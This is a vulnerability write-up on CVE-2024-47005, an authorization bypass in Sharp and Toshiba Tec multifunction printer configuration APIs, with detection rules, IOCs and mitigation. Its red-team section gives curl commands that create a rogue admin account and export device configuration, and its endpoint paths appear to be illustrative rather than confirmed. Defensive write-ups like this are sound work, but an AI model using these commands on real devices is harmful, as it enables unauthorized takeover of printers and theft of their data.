CVE-2024-47005

Executive Summary

CVE-2024-47005 is a critical authorization bypass vulnerability affecting Sharp and Toshiba Tec Multifunction Printers (MFPs). The flaw resides in configuration-related APIs that are intended for administrative use only but lack sufficient access controls. A non-administrative user can exploit this weakness to execute privileged configuration APIs, potentially altering device settings, exfiltrating sensitive data, or pivoting into the internal network. With a CVSS score of 8.1, this vulnerability poses a high risk to enterprise environments where MFPs are commonly deployed. No public exploit code or proof-of-concept is currently available, but the risk of weaponization remains significant due to the widespread use of these devices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs only a non-admin account.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full read access to device configuration and data.
• Integrity (I): High (H) – Full write access to device settings.
• Availability (A): High (H) – Potential to disrupt device operation.

Threat Level: High – Remote, low-privilege exploitation with severe impact.

Deep Dive & Mechanics

The vulnerability stems from improper authorization checks in the MFP’s RESTful API endpoints. These APIs are designed to manage device configuration (e.g., network settings, user roles, firmware updates) and are supposed to be restricted to administrative users. However, the access control logic only verifies that the request is authenticated, not that the user holds administrative privileges. As a result, any authenticated user—including those with basic scan-to-email or print accounts—can invoke these APIs.

Attack Flow:

1. Discovery: An attacker identifies the MFP’s IP address via network scanning (e.g., Shodan) or internal reconnaissance.
2. Authentication: The attacker obtains low-privilege credentials through phishing, default credentials, or brute-force.
3. Exploitation: The attacker sends crafted HTTP requests to the configuration API endpoints (e.g., /api/config/network, /api/config/users) without proper admin checks.
4. Impact: The attacker can modify network settings (e.g., DNS, proxy), create new admin accounts, exfiltrate scanned documents, or disable security features.

Root Cause: Missing or insufficient role-based access control (RBAC) enforcement in the API middleware.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/config/network', methods=['POST'])
def update_network_config():
    # Only checks if user is authenticated, not if admin
    if not current_user.is_authenticated:
        return 'Unauthorized', 401
    # Process configuration change
    apply_network_config(request.json)
    return 'OK', 200

Patched Code (Conceptual):

@app.route('/api/config/network', methods=['POST'])
@admin_required  # New decorator enforcing admin role
def update_network_config():
    if not current_user.is_authenticated:
        return 'Unauthorized', 401
    if not current_user.is_admin:
        return 'Forbidden', 403
    apply_network_config(request.json)
    return 'OK', 200

Key Difference: The patched version adds an explicit check for administrative privileges before processing the request.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Low-privilege credentials for the MFP (e.g., user:password).
• Network access to the MFP’s management interface (typically port 80/443 or 8080).

Exploitation Steps:

1. Enumerate API endpoints:

   curl -k -u 'user:password' https://<MFP_IP>/api/config/endpoints
   

2. Create a new admin user:

   curl -k -u 'user:password' -X POST -H 'Content-Type: application/json' \
   -d '{"username":"hacker","password":"P@ssw0rd!","role":"admin"}' \
   https://<MFP_IP>/api/config/users
   

3. Exfiltrate device configuration:

   curl -k -u 'hacker:P@ssw0rd!' https://<MFP_IP>/api/config/export
   

Lab Setup:

• Use a virtualized Sharp or Toshiba Tec MFP firmware (if available) or a network simulator.
• Configure a test network with the MFP and a Kali Linux attacker machine.
• Create a low-privilege user via the web interface.

Blue Team

Detection:

• Monitor for unusual API calls to /api/config/* from non-admin users.
• Alert on creation of new user accounts via API.
• Track failed authentication attempts followed by successful API calls.

Hunting:

• Search logs for HTTP 403 errors on admin endpoints (indicates attempted exploitation).
• Look for patterns of API calls from IPs not in the admin subnet.

Mitigation:

• Immediately restrict network access to the MFP’s management interface to trusted IPs only.
• Implement network segmentation to isolate MFPs from general user traffic.
• Apply vendor firmware updates as soon as available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/config/users with POST method from non-admin IPs.
  • Unusual role parameter values in API payloads (e.g., "role":"admin").
  • Outbound connections from MFP to unknown external IPs (data exfiltration).

• Host IOCs:

  • New user accounts created outside of normal administrative workflows.
  • Modified network settings (e.g., DNS, proxy) without corresponding change tickets.
  • Unexpected firmware or configuration changes.

• Log IOCs:

  • Repeated HTTP 403 errors on /api/config/* endpoints.
  • Successful API calls to /api/config/* from IPs not in the admin whitelist.

Detection Engineering

YARA Rule

rule CVE_2024_47005_MFP_API_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-47005 in Sharp/Toshiba MFPs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47005"
    strings:
        $api_path = "/api/config/"
        $admin_role = "role\":\"admin\""
        $post_method = "POST"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-47005 MFP Configuration API Abuse
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d5f7a9c0e
status: experimental
description: Detects unauthorized access to MFP configuration APIs
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/api/config/'
        sc-status: 200
    filter:
        c-ip|startswith: '10.0.0.'  # Adjust to admin subnet
    condition: selection and not filter
falsepositives:
    - Legitimate admin activity from allowed IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47005 MFP Configuration API Exploit"; flow:to_server; content:"POST"; http_method; content:"/api/config/"; http_uri; content:"role"; http_client_body; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place MFPs in a dedicated VLAN with strict firewall rules limiting management interface access to authorized admin IPs only.
2. Access Control: Disable or restrict non-admin user accounts on the MFP. Use strong, unique passwords.
3. Monitor Logs: Enable detailed logging of all API calls and review for anomalies.

Long-Term Fix:

• Apply vendor firmware update when released (currently pending).
• Implement a Web Application Firewall (WAF) rule to block unauthorized API calls.
• Conduct a security audit of all MFP configurations and user roles.

Workaround:

• If patching is not possible, disable the configuration API entirely via the MFP’s web interface or physical control panel.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert